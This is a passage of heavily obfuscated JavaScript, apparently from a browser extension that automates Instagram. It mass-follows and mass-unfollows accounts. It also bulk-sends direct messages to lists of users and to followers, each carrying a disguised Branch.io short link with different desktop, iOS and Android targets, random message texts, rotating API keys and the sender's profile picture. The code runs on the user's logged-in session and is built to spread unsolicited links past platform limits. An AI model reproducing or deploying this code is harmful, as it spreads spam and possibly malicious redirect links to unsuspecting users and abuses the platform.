_0x4fe63b=_0x32c779;mendal++,$(_0x4fe63b(0x257))['text'](mendal),$(_0x4fe63b(0x2ce))[_0x4fe63b(0x28d)]('<i>Limit\x20Entek...\x20&#129324;</i>')[_0x4fe63b(0x204)](_0x4fe63b(0x2ab),'red');}),_0x4df48e()):$[_0x32c779(0x2ea)]({'url':_0x32c779(0x266)+_0x53e9a5[_0x32c779(0x24f)]['id']+_0x32c779(0x245),'type':_0x32c779(0x26a),'crossDomain':!![],'headers':{'content-type':_0x32c779(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x32c779(0x2c9),'x-ig-www-claim':_0x45f451,'x-instagram-ajax':send_fuck,'x-requested-with':_0x32c779(0x1e0)},'beforeSend':function(){var _0x189474=_0x32c779;$(_0x189474(0x2ce))[_0x189474(0x28d)](_0x189474(0x285))[_0x189474(0x204)](_0x189474(0x2ab),_0x189474(0x255));},'xhrFields':{'withCredentials':!![]}})[_0x32c779(0x24e)](function(_0x5dbe55){var _0x29cb96=_0x32c779;_0x5dbe55['status']=='ok'&&(successLee++,$('.olePiro')[_0x29cb96(0x1fd)](successLee),$('.errorLog')['html']('<i>Mlaku\x20Unfollow...\x20&#128514;</i>')['css'](_0x29cb96(0x2ab),_0x29cb96(0x198)));})['fail'](function(){var _0x482b14=_0x32c779;mendal++,$(_0x482b14(0x257))[_0x482b14(0x1fd)](mendal),$('.errorLog')[_0x482b14(0x28d)](_0x482b14(0x1be))[_0x482b14(0x204)](_0x482b14(0x2ab),_0x482b14(0x1e7));});},_0x287a93*_0x404576);}),falsetagak===![]&&($(_0x4319dc(0x2ce))['html'](_0x4319dc(0x21d))[_0x4319dc(0x204)](_0x4319dc(0x2ab),_0x4319dc(0x198)),clearInterval());}):($('.errorLog')['html'](_0x2d249d(0x21d))[_0x2d249d(0x204)](_0x2d249d(0x2ab),'green'),clearTimeout());},0x3e8);}}else $[_0x3a9800(0x2ea)]({'url':'https://www.instagram.com/web/friendships/'+_0x36dc32['node']['id']+'/unfollow/','type':'post','crossDomain':!![],'headers':{'content-type':_0x3a9800(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x3a9800(0x2c9),'x-ig-www-claim':_0x45f451,'x-instagram-ajax':send_fuck,'x-requested-with':_0x3a9800(0x1e0)},'beforeSend':function(){var _0x41ec0b=_0x3a9800;$(_0x41ec0b(0x2ce))[_0x41ec0b(0x28d)]('<i>Get\x20UID..\x20&#128514;</i>')['css']('color','blue');},'xhrFields':{'withCredentials':!![]}})[_0x3a9800(0x24e)](function(_0x5b0be1,_0x18650c,_0x5c8e5a){var _0x185ff0=_0x3a9800;_0x45f451=_0x5c8e5a[_0x185ff0(0x2cc)](_0x185ff0(0x209));_0x5b0be1[_0x185ff0(0x2dc)]=='ok'&&(successLee++,$(_0x185ff0(0x20a))[_0x185ff0(0x1fd)](successLee),$('.errorLog')[_0x185ff0(0x28d)]('<i>Mlaku\x20Unfollow...\x20&#128514;</i>')['css'](_0x185ff0(0x2ab),_0x185ff0(0x198)));if(_0x45f451!=='0')return _0x45f451;})[_0x3a9800(0x272)](function(_0xef38d3){var _0x536b80=_0x3a9800;_0x45f451=_0xef38d3[_0x536b80(0x2cc)](_0x536b80(0x209)),mendal++,$(_0x536b80(0x257))['text'](mendal),$(_0x536b80(0x2ce))[_0x536b80(0x28d)](_0x536b80(0x1be))['css'](_0x536b80(0x2ab),_0x536b80(0x1e7));if(_0x45f451!=='0')return _0x45f451;});},_0x10682d*_0x404576);});});}else return alert(_0x3f8262(0x24c)),_0x15c4b3[_0x3f8262(0x1c4)](),![];}}}}}}});function NjokLeee(){var _0xf0b4e6=_0x481b82;if(document[_0xf0b4e6(0x26d)])clearInterval(tengahE),clearInterval(getNo),clearInterval(tengahUdel),clearInterval(scrolling),clearInterval(weS);else{if($(_0xf0b4e6(0x2cd))[_0xf0b4e6(0x225)]>0x0)tengahE=setInterval(function(){var _0x26fbfa=_0xf0b4e6;if($(_0x26fbfa(0x264))[_0x26fbfa(0x225)]<0x1)clearInterval(tengahE),_0x3d6041();else{if($(_0x26fbfa(0x1e5))[_0x26fbfa(0x225)]<0x1)chrome['runtime'][_0x26fbfa(0x2d9)]({'type':_0x26fbfa(0x1bf)});else{if($(_0x26fbfa(0x1ed))[_0x26fbfa(0x225)]>0x0){clearInterval(tengahE),$(_0x26fbfa(0x26c))[_0x26fbfa(0x1c5)](),chrome[_0x26fbfa(0x282)][_0x26fbfa(0x2d9)]({'type':_0x26fbfa(0x1bf)});}else $('.isgrP')[_0x26fbfa(0x1de)](_0x26fbfa(0x2d0))['random']()[_0x26fbfa(0x1c5)](),successLee++,Maximal--,$('.olePiro')[_0x26fbfa(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location['reload'](),chrome['runtime'][_0x26fbfa(0x2d9)]({'type':'GantiTab'}));}}},lonalon);else $(_0xf0b4e6(0x24a))[_0xf0b4e6(0x225)]>0x0?getNo=setInterval(function(){var _0x1ddb3c=_0xf0b4e6;if($(_0x1ddb3c(0x22f))[_0x1ddb3c(0x225)]<0x1)clearInterval(getNo),_0x2e54f2();else{if($(_0x1ddb3c(0x1e5))[_0x1ddb3c(0x225)]<0x1)chrome['runtime'][_0x1ddb3c(0x2d9)]({'type':'GantiTab'});else{if($(_0x1ddb3c(0x1ed))['length']>0x0){clearInterval(getNo),$(_0x1ddb3c(0x26c))[_0x1ddb3c(0x1c5)](),chrome[_0x1ddb3c(0x282)][_0x1ddb3c(0x2d9)]({'type':'GantiTab'});}else $('div[style=\x22max-height:\x20356px;\x20min-height:\x20200px;\x22]')[_0x1ddb3c(0x1de)](_0x1ddb3c(0x2d0))[_0x1ddb3c(0x231)]()[_0x1ddb3c(0x1c5)](),successLee++,Maximal--,$(_0x1ddb3c(0x20a))[_0x1ddb3c(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location[_0x1ddb3c(0x22b)](),chrome[_0x1ddb3c(0x282)][_0x1ddb3c(0x2d9)]({'type':_0x1ddb3c(0x1bf)}));}}},lonalon):(alert(_0xf0b4e6(0x26b)),sad[_0xf0b4e6(0x1c4)]());function _0x3d6041(){tengahUdel=setInterval(function(){var _0x53916d=_0x28a9,_0x5dbe2=$('.isgrP');_0x5dbe2['animate']({'scrollTop':_0x5dbe2[_0x53916d(0x1a3)](-0x1)['scrollHeight']},0xc80,_0x53916d(0x1a5));{clearInterval(tengahUdel),NjokLeee();}},0x12c);}function _0x2e54f2(){scrolling=setInterval(function(){var _0x48c3bd=_0x28a9,_0x27c7e8=$(_0x48c3bd(0x2a6));_0x27c7e8['animate']({'scrollTop':_0x27c7e8[_0x48c3bd(0x1a3)](-0x1)[_0x48c3bd(0x28a)]},0xc80,_0x48c3bd(0x1a5));{clearInterval(scrolling),NjokLeee();}},0x12c);}}}function flooding(){var _0xd3af4e=_0x481b82,_0x57e5eb=bajingan[Njok_piro_seh],_0x70ab29='0';$(_0xd3af4e(0x2ce))['html'](_0xd3af4e(0x2bf))['css'](_0xd3af4e(0x2ab),_0xd3af4e(0x255)),$['each'](Maximal,function(_0x3ee7a1,_0x1168f3){var _0x111fa9=!![];setTimeout(function(){var _0x56670d=_0x28a9;_0x1168f3===_0x57e5eb?(clearTimeout(),$('.errorLog')['html'](_0x56670d(0x212))[_0x56670d(0x204)](_0x56670d(0x2ab),'blue')):$[_0x56670d(0x2ea)]({'url':_0x56670d(0x266)+_0x1168f3+_0x56670d(0x2b0),'type':'post','crossDomain':!![],'headers':{'content-type':'application/x-www-form-urlencoded','x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x70ab29,'x-instagram-ajax':send_fuck,'x-requested-with':_0x56670d(0x1e0)},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x2b35b2=_0x56670d;$('.errorLog')[_0x2b35b2(0x28d)]('<i>Get\x20UID..\x20&#128514;</i>')[_0x2b35b2(0x204)](_0x2b35b2(0x2ab),_0x2b35b2(0x255));},'success':function(_0x5b27a2,_0x1c1610,_0x39e59c){var _0x3d6506=_0x56670d;_0x70ab29=_0x39e59c[_0x3d6506(0x2cc)](_0x3d6506(0x209));_0x5b27a2[_0x3d6506(0x2dc)]=='ok'&&(successLee++,$(_0x3d6506(0x20a))[_0x3d6506(0x1fd)](successLee),$('.errorLog')[_0x3d6506(0x28d)]('<i>Mlaku\x20Follow..\x20&#128514;</i>')['css'](_0x3d6506(0x2ab),'green'));if(_0x70ab29!=='0')return _0x70ab29;}})[_0x56670d(0x272)](function(_0x164281){var _0x1c48ab=_0x56670d;_0x70ab29=_0x164281[_0x1c48ab(0x2cc)](_0x1c48ab(0x209)),mendal++,$('.mendal')['text'](mendal),$(_0x1c48ab(0x2ce))[_0x1c48ab(0x28d)](_0x1c48ab(0x1be))['css'](_0x1c48ab(0x2ab),'red');if(_0x70ab29!=='0')return _0x70ab29;});},(_0x3ee7a1+0x1)*lonalon);if(_0x1168f3===_0x57e5eb)return _0x111fa9=![],![];return _0x111fa9;});}function fast(){var _0x1342fc=_0x481b82;if($('.isgrP')[_0x1342fc(0x225)]>0x0)tengahE=setInterval(function(){var _0x313ad4=_0x1342fc;if($(_0x313ad4(0x264))['length']<0x1)clearInterval(tengahE),_0x5b65f6();else{if($(_0x313ad4(0x1ed))[_0x313ad4(0x225)]>0x0){clearInterval(tengahE),_0x407954();}else $(_0x313ad4(0x2cd))['find'](_0x313ad4(0x2d0))['random']()[_0x313ad4(0x1c5)](),successLee++,Maximal--,$(_0x313ad4(0x20a))[_0x313ad4(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location[_0x313ad4(0x22b)]());}},lonalon);else $(_0x1342fc(0x24a))[_0x1342fc(0x225)]>0x0?getNo=setInterval(function(){var _0xe70f24=_0x1342fc;if($(_0xe70f24(0x22f))['length']<0x1)clearInterval(getNo),_0x487b22();else{if($(_0xe70f24(0x1ed))[_0xe70f24(0x225)]>0x0){clearInterval(getNo),_0x407954();}else $(_0xe70f24(0x24a))['find'](_0xe70f24(0x2d0))[_0xe70f24(0x231)]()[_0xe70f24(0x1c5)](),successLee++,Maximal--,$(_0xe70f24(0x20a))[_0xe70f24(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location[_0xe70f24(0x22b)]());}},lonalon):(alert(_0x1342fc(0x26b)),sad['play']());function _0x5b65f6(){tengahUdel=setInterval(function(){var _0x45f0ab=_0x28a9,_0x2dcf2c=$(_0x45f0ab(0x2cd));_0x2dcf2c[_0x45f0ab(0x2c8)]({'scrollTop':_0x2dcf2c[_0x45f0ab(0x1a3)](-0x1)[_0x45f0ab(0x28a)]},0xc80,_0x45f0ab(0x1a5));{clearInterval(tengahUdel),fast();}},0x12c);}function _0x487b22(){scrolling=setInterval(function(){var _0x4a880e=_0x28a9,_0x23b238=$('div[style=\x22height:\x20356px;\x20overflow:\x20hidden\x20auto;\x22]');_0x23b238[_0x4a880e(0x2c8)]({'scrollTop':_0x23b238[_0x4a880e(0x1a3)](-0x1)['scrollHeight']},0xc80,_0x4a880e(0x1a5));{clearInterval(scrolling),fast();}},0x12c);}function _0x407954(){weS=setInterval(function(){var _0xddc323=_0x28a9;$('button.aOOlW.HoLwm')[_0xddc323(0x1c5)]();{clearInterval(weS),fast();}},0x1f4);}}function medium(){var _0x2ba757=_0x481b82;if($(_0x2ba757(0x2cd))[_0x2ba757(0x225)]>0x0)tengahE=setInterval(function(){var _0x2e434d=_0x2ba757;if($(_0x2e434d(0x264))[_0x2e434d(0x225)]<0x1)clearInterval(tengahE),_0xe7a326();else{if($('div.piCib\x20button.aOOlW.HoLwm')['length']>0x0){clearInterval(tengahE),_0x3bf12e();}else $(_0x2e434d(0x2cd))[_0x2e434d(0x1de)](_0x2e434d(0x2d0))[_0x2e434d(0x231)]()['click'](),successLee++,Maximal--,$(_0x2e434d(0x20a))[_0x2e434d(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location[_0x2e434d(0x22b)]());}},lonalon);else $(_0x2ba757(0x24a))['length']>0x0?getNo=setInterval(function(){var _0x37d39d=_0x2ba757;if($(_0x37d39d(0x22f))[_0x37d39d(0x225)]<0x1)clearInterval(getNo),_0x4bdd8f();else{if($(_0x37d39d(0x1ed))['length']>0x0){clearInterval(getNo),_0x3bf12e();}else $(_0x37d39d(0x24a))[_0x37d39d(0x1de)]('.sqdOP.L3NKy.y3zKF:not(.sqdOP.L3NKy._8A5w5)')[_0x37d39d(0x231)]()[_0x37d39d(0x1c5)](),successLee++,Maximal--,$(_0x37d39d(0x20a))[_0x37d39d(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location[_0x37d39d(0x22b)]());}},lonalon):(alert(_0x2ba757(0x26b)),sad[_0x2ba757(0x1c4)]());function _0xe7a326(){tengahUdel=setInterval(function(){var _0x1b5cf7=_0x28a9,_0x35d1f9=$(_0x1b5cf7(0x2cd));_0x35d1f9[_0x1b5cf7(0x2c8)]({'scrollTop':_0x35d1f9[_0x1b5cf7(0x1a3)](-0x1)[_0x1b5cf7(0x28a)]},0xc80,_0x1b5cf7(0x1a5));{clearInterval(tengahUdel),medium();}},0x12c);}function _0x4bdd8f(){scrolling=setInterval(function(){var _0x48eebc=_0x28a9,_0x235989=$(_0x48eebc(0x2a6));_0x235989[_0x48eebc(0x2c8)]({'scrollTop':_0x235989[_0x48eebc(0x1a3)](-0x1)[_0x48eebc(0x28a)]},0xc80,'linear');{clearInterval(scrolling),medium();}},0x12c);}function _0x3bf12e(){weS=setInterval(function(){var _0x3d8c95=_0x28a9;$(_0x3d8c95(0x26c))['click']();{clearInterval(weS),medium();}},0x1f4);}}function slow(){var _0xc792c3=_0x481b82;if($('.isgrP')['length']>0x0)tengahE=setInterval(function(){var _0x2118ac=_0x28a9;if($(_0x2118ac(0x264))[_0x2118ac(0x225)]<0x1)clearInterval(tengahE),_0x2fe87d();else{if($(_0x2118ac(0x1ed))['length']>0x0){clearInterval(tengahE),_0xa4bd14();}else $(_0x2118ac(0x2cd))[_0x2118ac(0x1de)](_0x2118ac(0x2d0))[_0x2118ac(0x231)]()[_0x2118ac(0x1c5)](),successLee++,Maximal--,$(_0x2118ac(0x20a))[_0x2118ac(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location[_0x2118ac(0x22b)]());}},lonalon);else $(_0xc792c3(0x24a))['length']>0x0?getNo=setInterval(function(){var _0x4b7ece=_0xc792c3;if($(_0x4b7ece(0x22f))[_0x4b7ece(0x225)]<0x1)clearInterval(getNo),_0x50d3b0();else{if($(_0x4b7ece(0x1ed))[_0x4b7ece(0x225)]>0x0){clearInterval(getNo),_0xa4bd14();}else $(_0x4b7ece(0x24a))[_0x4b7ece(0x1de)]('.sqdOP.L3NKy.y3zKF:not(.sqdOP.L3NKy._8A5w5)')['random']()[_0x4b7ece(0x1c5)](),successLee++,Maximal--,$('.olePiro')[_0x4b7ece(0x1fd)](successLee),Maximal<0x1&&(clearInterval(scroll),mlakupiro=0x0,location[_0x4b7ece(0x22b)]());}},lonalon):(alert(_0xc792c3(0x26b)),sad[_0xc792c3(0x1c4)]());function _0x2fe87d(){tengahUdel=setInterval(function(){var _0x312309=_0x28a9,_0x1c6fed=$(_0x312309(0x2cd));_0x1c6fed[_0x312309(0x2c8)]({'scrollTop':_0x1c6fed[_0x312309(0x1a3)](-0x1)[_0x312309(0x28a)]},0xc80,'linear');{clearInterval(tengahUdel),slow();}},0x12c);}function _0x50d3b0(){scrolling=setInterval(function(){var _0x309b35=_0x28a9,_0x41f0c0=$(_0x309b35(0x2a6));_0x41f0c0[_0x309b35(0x2c8)]({'scrollTop':_0x41f0c0['get'](-0x1)['scrollHeight']},0xc80,_0x309b35(0x1a5));{clearInterval(scrolling),slow();}},0x12c);}function _0xa4bd14(){weS=setInterval(function(){$('button.aOOlW.HoLwm')['click']();{clearInterval(weS),slow();}},0x1f4);}}$(document)['on'](_0x481b82(0x19c),_0x481b82(0x207),function(_0x26be01){var _0x1c1b32=_0x481b82,_0x4f394c=$(_0x1c1b32(0x206),this),_0x2f9144=this[_0x1c1b32(0x265)];$(_0x1c1b32(0x201))['removeClass'](function(_0x5ba9a,_0x18ce74){var _0x3e139a=_0x1c1b32;return(_0x18ce74[_0x3e139a(0x1f7)](/dm|dm_followers|dm_following|dm_image|fol_dm|group|kiremLink|tambahUID|approved|delete_dm/g)||[])[_0x3e139a(0x1f2)]('');}),_0x2f9144=='dm'&&_0x4f394c[_0x1c1b32(0x25b)]('dm'),_0x2f9144=='dm_followers'&&_0x4f394c[_0x1c1b32(0x25b)]('dm_followers'),_0x2f9144==_0x1c1b32(0x268)&&_0x4f394c[_0x1c1b32(0x25b)](_0x1c1b32(0x268)),_0x2f9144==_0x1c1b32(0x2b2)&&_0x4f394c[_0x1c1b32(0x25b)](_0x1c1b32(0x2b2)),_0x2f9144==_0x1c1b32(0x284)&&_0x4f394c['addClass'](_0x1c1b32(0x284)),_0x2f9144==_0x1c1b32(0x279)&&_0x4f394c[_0x1c1b32(0x25b)]('group'),_0x2f9144==_0x1c1b32(0x1b5)&&_0x4f394c['addClass'](_0x1c1b32(0x1b5)),_0x2f9144=='tambahUID'&&_0x4f394c[_0x1c1b32(0x25b)](_0x1c1b32(0x22d)),_0x2f9144==_0x1c1b32(0x1a9)&&_0x4f394c['addClass'](_0x1c1b32(0x1a9)),_0x2f9144==_0x1c1b32(0x274)&&_0x4f394c[_0x1c1b32(0x25b)](_0x1c1b32(0x274));}),$(document)['on'](_0x481b82(0x1c5),_0x481b82(0x1b9),function(){var _0x5cc1c5=_0x481b82,_0x39e605=0x0,_0x12882a=0x0,_0x536e1e=0x0,_0x317e88,_0x1af123=$(_0x5cc1c5(0x26e))[_0x5cc1c5(0x1df)](),_0x159391=$(_0x5cc1c5(0x2e0))[_0x5cc1c5(0x1df)](),_0x21ea0a=$(_0x5cc1c5(0x1c9))['val'](),_0x46fdb6=_0x5cc1c5(0x234),_0x535a19=_0x5cc1c5(0x295),_0x52f72f='https://i.instagram.com/api/v1/direct_v2/create_group_thread/',_0x3a372b='https://www.instagram.com/graphql/query/',_0xd39822=$(_0x5cc1c5(0x1ab))[_0x5cc1c5(0x1df)](),_0x44b3ae=$(_0x5cc1c5(0x214))[_0x5cc1c5(0x1df)](),_0x3353e8=$('#hasil')[_0x5cc1c5(0x1df)](),_0x14ae4f=$(_0x5cc1c5(0x2a2))[_0x5cc1c5(0x1df)]()[_0x5cc1c5(0x1e6)]('\x0a'),_0x448b5d=$[_0x5cc1c5(0x211)](_0x3353e8)[_0x5cc1c5(0x278)](/\s+/g,','),_0x2c3dde=_0x448b5d[_0x5cc1c5(0x1e6)](','),_0x52f7df=chunkify(_0x2c3dde),_0x4bb07b=chunkifyUID(_0x2c3dde),_0x6a3ec5=window[_0x5cc1c5(0x1fc)][_0x5cc1c5(0x254)],_0x48f75b=_0x6a3ec5[_0x5cc1c5(0x1f7)](/([^\/]*)\/*$/)[0x1],_0x5d017b=_0x52f7df['slice'](-0x1)[_0x5cc1c5(0x25a)]();if($('select.direct')[_0x5cc1c5(0x1de)](_0x5cc1c5(0x288))['length']>0x0){if(!_0x3353e8||_0x3353e8<0x1)return alert(_0x5cc1c5(0x2d6)),![];else{if(!_0x1af123||_0x1af123<0x1)return alert(_0x5cc1c5(0x1e2)),![];else{if(!_0x159391||_0x159391<0x1)return alert('Endi\x20Link\x20IOS\x20e\x20!!'),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))[_0x5cc1c5(0x204)](_0x5cc1c5(0x2ab),_0x5cc1c5(0x255));}}if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1388,$[_0x5cc1c5(0x286)](_0x14ae4f,function(_0xd035c6,_0x40f166){var _0x330fa1=!![];setTimeout(function(){var _0x5bec26=_0x28a9,_0x1fe591=Math[_0x5bec26(0x1db)](Math['random']()*kirempesan['length']),_0x448fa=Math[_0x5bec26(0x1db)](Math['random']()*apiBrancgh[_0x5bec26(0x225)]);_0x40f166===_0x14ae4f[_0xd39822]?(clearTimeout(),$(_0x5bec26(0x2ce))[_0x5bec26(0x28d)](_0x5bec26(0x212))[_0x5bec26(0x204)](_0x5bec26(0x2ab),'blue')):$[_0x5bec26(0x2ea)]({'url':_0x52f72f,'type':'post','crossDomain':!![],'headers':{'content-type':_0x5bec26(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'recipient_users':JSON[_0x5bec26(0x208)]([_0x40f166])}})[_0x5bec26(0x24e)](function(_0xc6e6cd,_0x35e2a8,_0x37aa3e){var _0x111768=_0x5bec26;_0x536e1e=_0x37aa3e[_0x111768(0x2cc)](_0x111768(0x209)),getThread=_0xc6e6cd[_0x111768(0x271)],_0x12882a++;_0xc6e6cd[_0x111768(0x2dc)]==='ok'&&($(_0x111768(0x20a))[_0x111768(0x1fd)](_0x12882a),$(_0x111768(0x2ce))[_0x111768(0x28d)](_0x111768(0x227))['css'](_0x111768(0x2ab),_0x111768(0x198)),$[_0x111768(0x2ea)]({'url':_0x46fdb6,'type':_0x111768(0x26a),'cache':![],'contentType':_0x111768(0x2d8),'dataType':_0x111768(0x2e8),'data':JSON[_0x111768(0x208)]({'branch_key':apiBrancgh[_0x448fa],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x1fe591],'$og_image_url':send_profile}})})[_0x111768(0x24e)](function(_0x566698){var _0x162dd8=_0x111768,_0xdd2434=_0x566698[_0x162dd8(0x217)],_0x53d123=_0xdd2434[_0x162dd8(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x162dd8(0x1bb));$['ajax']({'url':_0x535a19,'type':'post','crossDomain':!![],'headers':{'content-type':_0x162dd8(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':'1217981644879628','x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x162dd8(0x1d5),'client_context':guid(),'link_text':_0x53d123,'link_urls':JSON[_0x162dd8(0x208)]([_0x53d123]),'mutation_token':guid(),'thread_id':getThread}});}));if(_0x536e1e!=='0')return _0x536e1e;})[_0x5bec26(0x272)](function(_0x4dfd61){var _0x42429a=_0x5bec26;_0x536e1e=_0x4dfd61[_0x42429a(0x2cc)]('x-ig-set-www-claim'),_0x39e605++,$(_0x42429a(0x257))[_0x42429a(0x1fd)](_0x39e605),$(_0x42429a(0x2ce))[_0x42429a(0x28d)](_0x42429a(0x1be))[_0x42429a(0x204)](_0x42429a(0x2ab),_0x42429a(0x1e7));if(_0x536e1e!=='0')return _0x536e1e;});},(_0xd035c6+0x1)*_0x44b3ae);if(_0x40f166===_0x14ae4f[_0xd39822])return _0x330fa1=![],![];return _0x330fa1;});}else{if($('select.direct')['find'](_0x5cc1c5(0x20b))[_0x5cc1c5(0x225)]>0x0){if(!_0x1af123||_0x1af123<0x1)return alert('Endi\x20Link\x20Android\x20e\x20!!'),![];else{if(!_0x159391||_0x159391<0x1)return alert(_0x5cc1c5(0x230)),![];else $(this)[_0x5cc1c5(0x1fd)](_0x5cc1c5(0x2b6)),$(_0x5cc1c5(0x2ce))[_0x5cc1c5(0x28d)](_0x5cc1c5(0x2bf))[_0x5cc1c5(0x204)]('color','blue');}if(!_0x44b3ae)_0x44b3ae=0x1;_0x44b3ae=_0x44b3ae*0x1388,$[_0x5cc1c5(0x2ea)]({'url':_0x3a372b,'type':_0x5cc1c5(0x1a3),'headers':{'x-ig-app-id':_0x5cc1c5(0x2c9),'x-ig-www-claim':_0x536e1e},'data':{'query_hash':_0x5cc1c5(0x1c6),'variables':JSON[_0x5cc1c5(0x208)]({'id':check_uid,'include_reel':!![],'fetch_mutual':!![],'first':'24'})}})['done'](function(_0x22b17e,_0xc281d9,_0x5dcac3){var _0x52d6d2=_0x5cc1c5;theEdge=_0x22b17e[_0x52d6d2(0x29b)][_0x52d6d2(0x1cb)][_0x52d6d2(0x25e)][_0x52d6d2(0x213)],next_scroll=_0x22b17e[_0x52d6d2(0x29b)][_0x52d6d2(0x1cb)]['edge_followed_by']['page_info'][_0x52d6d2(0x1f5)],onotagak=_0x22b17e[_0x52d6d2(0x29b)][_0x52d6d2(0x1cb)]['edge_followed_by'][_0x52d6d2(0x2a7)][_0x52d6d2(0x21c)],_0x317e88=next_scroll,_0x536e1e=_0x5dcac3[_0x52d6d2(0x2cc)](_0x52d6d2(0x209));if(theEdge===null||theEdge[_0x52d6d2(0x225)]===0x0)return $(_0x52d6d2(0x2ce))[_0x52d6d2(0x28d)]('<i>Followersmu\x200..\x20&#128514;</i>')[_0x52d6d2(0x204)](_0x52d6d2(0x2ab),_0x52d6d2(0x255)),![];else $[_0x52d6d2(0x286)](theEdge,function(_0x5c607a,_0x2d45b2){var _0xc46e74=_0x52d6d2,_0x562f9c=!![],_0x2986dd=_0x5c607a==theEdge[_0xc46e74(0x225)]-0x1;return setTimeout(function(){var _0x1ac7d5=_0xc46e74,_0x3c9ecf=Math['floor'](Math[_0x1ac7d5(0x231)]()*kirempesan[_0x1ac7d5(0x225)]),_0x284d8d=Math['floor'](Math[_0x1ac7d5(0x231)]()*apiBrancgh['length']);if(_0x2986dd){if(onotagak===![])return $[_0x1ac7d5(0x2ea)]({'url':_0x52f72f,'type':_0x1ac7d5(0x26a),'crossDomain':!![],'headers':{'content-type':_0x1ac7d5(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x1ac7d5(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x40bbbc=_0x1ac7d5;$(_0x40bbbc(0x2ce))[_0x40bbbc(0x28d)](_0x40bbbc(0x285))[_0x40bbbc(0x204)](_0x40bbbc(0x2ab),_0x40bbbc(0x255));},'data':{'recipient_users':JSON['stringify']([_0x2d45b2[_0x1ac7d5(0x24f)]['id']])}})[_0x1ac7d5(0x24e)](function(_0x3eaa6f){var _0x7bfd2d=_0x1ac7d5;getThread=_0x3eaa6f[_0x7bfd2d(0x271)],_0x12882a++,$(_0x7bfd2d(0x20a))[_0x7bfd2d(0x1fd)](_0x12882a),$(_0x7bfd2d(0x2ce))['html'](_0x7bfd2d(0x2a9))[_0x7bfd2d(0x204)](_0x7bfd2d(0x2ab),'blue'),$[_0x7bfd2d(0x2ea)]({'url':_0x46fdb6,'type':_0x7bfd2d(0x26a),'cache':![],'contentType':_0x7bfd2d(0x2d8),'dataType':'json','data':JSON[_0x7bfd2d(0x208)]({'branch_key':apiBrancgh[_0x284d8d],'data':{'$desktop_url':_0x21ea0a,'$ios_url':_0x159391,'$android_url':_0x1af123,'$og_title':send_full,'$og_description':kirempesan[_0x3c9ecf],'$og_image_url':send_profile}})})['done'](function(_0x42b39b){var _0x1de9b9=_0x7bfd2d,_0x103d26=_0x42b39b['url'],_0x5a39db=_0x103d26[_0x1de9b9(0x278)](/^[a-z]{4,5}\:\/{2}[a-z0-9.]{1,}.[a-z.]{1,}.[a-z.]{1,}\/(.*)/,_0x1de9b9(0x1bb));$[_0x1de9b9(0x2ea)]({'url':_0x535a19,'type':_0x1de9b9(0x26a),'crossDomain':!![],'headers':{'content-type':_0x1de9b9(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x1de9b9(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'data':{'action':_0x1de9b9(0x1d5),'client_context':guid(),'link_text':_0x5a39db,'link_urls':JSON['stringify']([_0x5a39db]),'mutation_token':guid(),'thread_id':getThread}});});})[_0x1ac7d5(0x272)](function(){var _0x4ce5eb=_0x1ac7d5;_0x39e605++,$(_0x4ce5eb(0x257))[_0x4ce5eb(0x1fd)](_0x39e605),$('.errorLog')[_0x4ce5eb(0x28d)](_0x4ce5eb(0x2a9))['css'](_0x4ce5eb(0x2ab),_0x4ce5eb(0x255));}),clearTimeout(),_0x562f9c=![],![];else{$['ajax']({'url':_0x52f72f,'type':_0x1ac7d5(0x26a),'crossDomain':!![],'headers':{'content-type':_0x1ac7d5(0x21e),'x-csrftoken':send_csrf,'x-ig-app-id':_0x1ac7d5(0x2c9),'x-ig-www-claim':_0x536e1e,'x-instagram-ajax':send_fuck},'xhrFields':{'withCredentials':!![]},'beforeSend':function(){var _0x9a3b83=_0x1ac7d5;$(_0x9a3b83(0x2ce))['html']('<i>Get\x20UID..\x20&#128514;</i>')['css'](_0x9a3b83(0x2ab),'blue');},'data':{'recipient_users':JSON['stringify']([_0x2d45b2[_0x1ac7d5(0x24f)]['id']])}})[_0x1ac7d5(0x24e)](function(_0x474d89){var 